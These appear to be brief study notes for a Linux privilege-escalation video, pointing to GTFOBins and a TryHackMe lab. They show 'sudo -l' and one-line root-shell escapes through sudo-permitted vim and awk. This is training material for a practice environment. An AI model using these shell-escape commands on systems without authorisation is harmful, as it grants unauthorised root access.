Resources for this video:
GTFOBins - https://gtfobins.github.io/
Linux PrivEsc Playground - https://tryhackme.com/room/privescplayground
You can check for what sudo commands you have access to:
sudo -l
that’s L
and take these to find an escalation path on GTFOBins
we can find sudo options so we know how to get sudo and priv esc (you can click it on the top part of the page)
Perfect example for shell:
sudo vim -c ':!/bin/sh'
to quit out of vim:
:q!
what about awk?
doing the same, we can see:
trying it:
sudo awk 'BEGIN {system("/bin/sh")}'
you can also do bin/bash:
sudo awk 'BEGIN {system("/bin/bash")}'